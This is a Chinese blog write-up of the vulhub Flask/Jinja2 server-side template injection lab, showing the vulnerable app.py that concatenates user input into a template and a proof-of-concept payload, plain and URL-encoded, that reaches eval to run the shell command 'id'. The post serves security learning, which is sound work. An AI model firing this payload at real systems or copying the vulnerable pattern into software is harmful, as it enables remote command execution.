Flask服务端模板(Jinja2) SSTI 注入漏洞

"本文介绍了Flask SSTI(服务端模板注入)漏洞,它是由于Flask框架与Jinja2模板引擎结合使用时,未对用户输入进行过滤导致的。通过示例代码展示了漏洞产生的原因,其中`t=Template("Hello"+name)`行存在风险。官方POC演示了如何利用此漏洞执行命令。了解此漏洞有助于提高Web应用的安全性。"
摘要由CSDN通过智能技术生成

漏洞简介

flask/ssti漏洞,即: Flask(Jinja2) 服务端模板注入漏洞(SSTI)。Flask 是一个使用 Python 编写的轻量级 Web 应用框架,Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。Jinja 2是一种面向Python的现代和设计友好的模板语言。

影响版本

使用Flask框架开发并且使用Jinja2模板引擎,最重要的是模板内容可控。满足该条件的Flask模块中几乎都存在注入漏洞。

产生原因

from flask import Flask, request from jinja2 import Template app = Flask(__name__) 
@app.route("/") def index():     name = request.args.get('name', 'guest')    

根据上述源码,漏洞主要出在:“t = Template(“Hell” + name)”,由于使用拼接后直接进行渲染,导致命令注入。

标题

在这里插入图片描述访问成功
http://127.0.0.1:8000/
在这里插入图片描述

(root💀guiltyfet)-[/home/guiltyfet/vulhub/flask/ssti]
└─# cd src                                                                                                                                    1 ⨯
 
┌──(root💀guiltyfet)-[/home/…/vulhub/flask/ssti/src]
└─# ls
app.py                                                                                                                    
┌──(root💀guiltyfet)-[/home/…/vulhub/flask/ssti/src]
└─# cat app.py                                                                                                                                1 ⨯
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()                                                                                                                                                 

重点在于

	t = Template("hello " + name)

这一行,name可以通过get方法获得且没有任何过滤

http://127.0.0.1:8000/?name={{1*520}}

在这里插入图片描述

官方POC:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

http://127.0.0.1:8000/?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}{%%20if%20b.__class__%20==%20{}.__class__%20%}{%%20if%20%27eval%27%20in%20b.keys()%20%}{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22id%22).read()%27)%20}}{%%20endif%20%}{%%20endif%20%}{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}

在这里插入图片描述
参考链接

https://github.com/epinna/tplmap
https://blog.csdn.net/q943111495/article/details/121032213

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

GuiltyFet

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值